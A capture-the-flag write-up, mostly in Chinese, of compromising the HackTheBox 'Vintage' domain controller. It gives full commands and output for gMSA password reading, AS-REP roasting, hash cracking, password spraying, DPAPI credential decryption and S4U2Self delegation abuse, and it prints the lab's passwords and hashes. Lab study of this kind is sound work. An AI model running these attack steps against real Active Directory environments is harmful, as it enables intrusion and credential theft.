Vintage on HackTheBox

Before all

Victim’s IP : 10.10.11.45
Victim’s Host : *.vintage.htb
Attacker’s IP : 10.10.14.114

Initial Credential: P.Rosa/Rosaisbest123

RECON

port scan

Command

1
rustscan -a 10.10.11.45 --ulimit 5000 -- -sC -sV -Pn

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PORT      STATE SERVICE       REASON          VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-12-19 06:14:11Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
60931/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
60969/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 53397/tcp): CLEAN (Timeout)
| Check 2 (port 50316/tcp): CLEAN (Timeout)
| Check 3 (port 61163/udp): CLEAN (Timeout)
| Check 4 (port 13936/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 1m14s
| smb2-time:
| date: 2024-12-19T06:15:05
|_ start_date: N/A

很尋常的 Domain Controller,開了 Samba, rpc, ldap, kerberos…

bloodhound

因為有 Initial Credential,可以先對AD進行資訊蒐集
Command

1
bloodhound-python -c All -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -ns 10.10.11.45 --zip

然後就 Dump 出一坨資訊ㄌ

image

小觀察,在看到 Domain Computers 時發現有兩個 Member,一台叫做 FS01 的電腦跟一個叫做 GMSA01$ 的 User ?!

接下來,發現 GMSA01$ 對 SERVICEMANAGERS 有 AddSelf 權限,而 SERVICEMANAGERS 對很多服務都有控制權限…
image

重新將 SERVICEMANAGERS 加入 High Value Target,發現 FS01 屬於 Domain Computers,進而可以讀取 GMSA01$ 的 GMSAPassword
image

相關資料:https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword
拿到後就可以拿來簽TGT/爆破之類的
至此,初步攻擊鍊大致上構造為:
FS01 -> GMSA01$ -> SVCMANAGERS

Exploit

ReadGMSAPassword

經過弱密碼猜測,得到FS01登入密碼為fs01
一開始嘗試以帳號密碼認證:

1
bloodyAD --host 10.10.11.45 -d "dc01.vintage.htb" -u 'FS01$' -p "fs01" get object 'GMSA01$' --attr msDS-ManagedPassword

發現不行,先取得 FS01 的 TGT

1
2
impacket-getTGT 'vintage.htb/FS01$:fs01a' -dc-ip 10.10.11.45
export KRB5CCNAME=FS01$.ccache

再 read 一次!

1
bloodyAD --dc-ip 10.10.11.45 --host dc01.vintage.htb  -d vintage.htb -k get object 'GMSA01$' --attr msDS-ManagedPassword

Result

1
2
3
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==

最後用getTGT獲得GMSA01$的TGT

1
2
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
export KRB5CCNAME=GMSA01$.ccache # 一樣要記得 export 成全域變數

Abuse SERVICEMANAGERS to AS-REP Roasting

先利用 addself 權限將自己加入 SERVICEMANAGERS

1
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "GMSA01$"

列舉使用者資訊:

1
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k get search  --filter "(objectClass=user)" --attr userAccountControl

注意到 svc_sql 被 diable 了 qwq

1
2
distinguishedName: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

先用 BloodyAD 將他解禁

1
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE

接著再把 DONT_REQ_PREAUTH 開啟,讓他成為 NPUser 來獲得 TGT Ticket

1
2
3
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add uac svc_ark -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add uac svc_ldap -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add uac svc_sql -f DONT_REQ_PREAUTH

開心做 AS-REP Roasting

1
impacket-GetNPUsers -dc-ip 10.10.11.45 -k -request -usersfile userlist.txt vintage.htb/

拿到三組 TGT,其中 svc_sql 的密碼有被爆破出來

1
2
3
4
5
6
7
8
9
john hash --wordlist=/home/kali/rockyou.txt                 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne ($krb5asrep$23$SVC_SQL@VINTAGE.HTB)
1g 0:00:00:13 DONE (2024-12-19 02:16) 0.07363g/s 1056Kp/s 2188Kc/s 2188KC/s !!12Honey..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

password spray

先用一支可愛小腳本把 bloodhound 掃出來的 xxxx_users.json 中所有 username 提出

1
2
3
4
5
6
7
8
9
10
11
import json

with open('20241218042025_users.json', 'r') as file:
data = json.load(file)

for entry in data.get("data", []):
properties = entry.get("Properties", {})
name = properties.get("name")
if name:
username = name.split('@')[0]
print(username)

存到 userlist.txt 後用 kerbrute 進行密碼潑灑:

1
kerbrute passwordspray --dc 10.10.11.45 -d vintage.htb  userlist.txt 'Zer0the0ne'

Result

1
2
2024/12/19 02:17:56 >  [+] VALID LOGIN:  [email protected]:Zer0the0ne
2024/12/19 02:17:57 > [+] VALID LOGIN: [email protected]:Zer0the0ne

成功獲得 C.NERI 的權限!

用帳密 + evil-winrm 登入失敗,改以 kerberos 認證登入,查一下發現要建立 /etc/krb5.conf 去進行登入
腳本連結:https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98

1
2
3
4
sudo python3 krb5make.py vintage.htb dc01
impacket-getTGT vintage.htb/C.NERI:Zer0the0ne # 一樣要拿 TGT
export KRB5CCNAME=C.NERI.ccache
evil-winrm -r vintage.htb -i dc01.vintage.htb

至此 拿到 USER FLAG!

Privilege Escalation

DPAPI

What is DPAPI?
是Windows的Data Protection API,可以儲存如瀏覽器等的驗證資料。
所有的資料都是被由 master key 加密的,而master key則是由 pre key(也就是使用者/系統的密碼)。
在 AD 環境中,有一個 MASTER KEY 的備份(由domain backup key 備份)
Master key 位置:%APPDATA%\Microsoft\Protect\{SID}
瀏覽器或roaming資料段則有可能有
更細節可以參考:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey

逛了幾圈後發現可以針對DPAPI進行利用
Master Key: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Secret: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6
首先利用 impacket-dpapi 工具提取 master key

1
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0
1
2
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

接下來由master key解密secret

1
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
1
2
3
4
5
6
7
8
9
10
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312

獲得 c.neri_adm 的密碼!
反手先申請一張TGT

1
impacket-getTGT vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 -dc-ip vintage.htb

S4U2SELF

再次觀察 bloodhound,c.neri_adm 對 DELEGATEDADMINS 有 AddSelf 權限,感覺後面就能 Impersonate
image

用 bloodyAD 將 C.NERI_ADM 加入 DELEGATEDADMINS:

1
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "DELEGATEDADMINS" "c.neri_adm"

正如曾經在 TryHackMe 的 Reset 上打過的,delegation在ad裡代表可以impersonate成某個user,並獲取他的ST票證
這邊比較適用的情況是 S4U2SELF 的委派攻擊,簡單來說,這時候帳戶必須有TRUSTED_FOR_DELEGATION等的FLAG以及設定有SPN(不然無法對任何服務進行請求,並模仿另一位USER獲得TGS)
詳細參考:https://blog.csdn.net/weixin_65550121/article/details/134884679
我可能有寫錯什麼 之後檢查
接下來,注意到前面 C.NERI 對 SVC_SQL 有 GenericAll 權限,代表我們可以幫他生一個SPN
image
最後就是將他加入 DELEGATEDADMIN ,就達成 S4U2SELF 的條件了
以 C.NERI 的權限幫他上 SPN

1
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "svc_sql" servicePrincipalName -v "cifs/test"

再以 C.NERI_ADM 的權限改 SVC_SQL

1
2
export KRB5CCNAME=c.neri_adm.ccache
bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"

最後 getST -> wmiexec

1
2
3
impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
export KRB5CCNAME=L.BIANCHI_ADM@[email protected]
impacket-wmiexec -k -no-pass [email protected]

ROOTED!
image

P.S.
一些在POWERSHELL上面的查詢指令

1
2
3
Import-Module ActiveDirectory
Get-ADObject -Filter {SamAccountName -eq "krbtgt"} -Properties *
Get-ADUser -Identity krbtgt -Properties *

列出來的 userAccountControl 會是一個數字,轉成二進制後每一位都代表一種權限
像 TRUSTED_FOR_DELEGATION 是 0x80000,AND運算下去如果也是0x80000就代表他有 delegation 權限
詳情參考:https://learn.microsoft.com/zh-tw/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties

After all

這幾天終於上 Pro Hacker ㄌ
https://app.hackthebox.com/profile/1519847
~~帥一下,什麼時候會有能力打到 Elite Hacker ㄋ~~~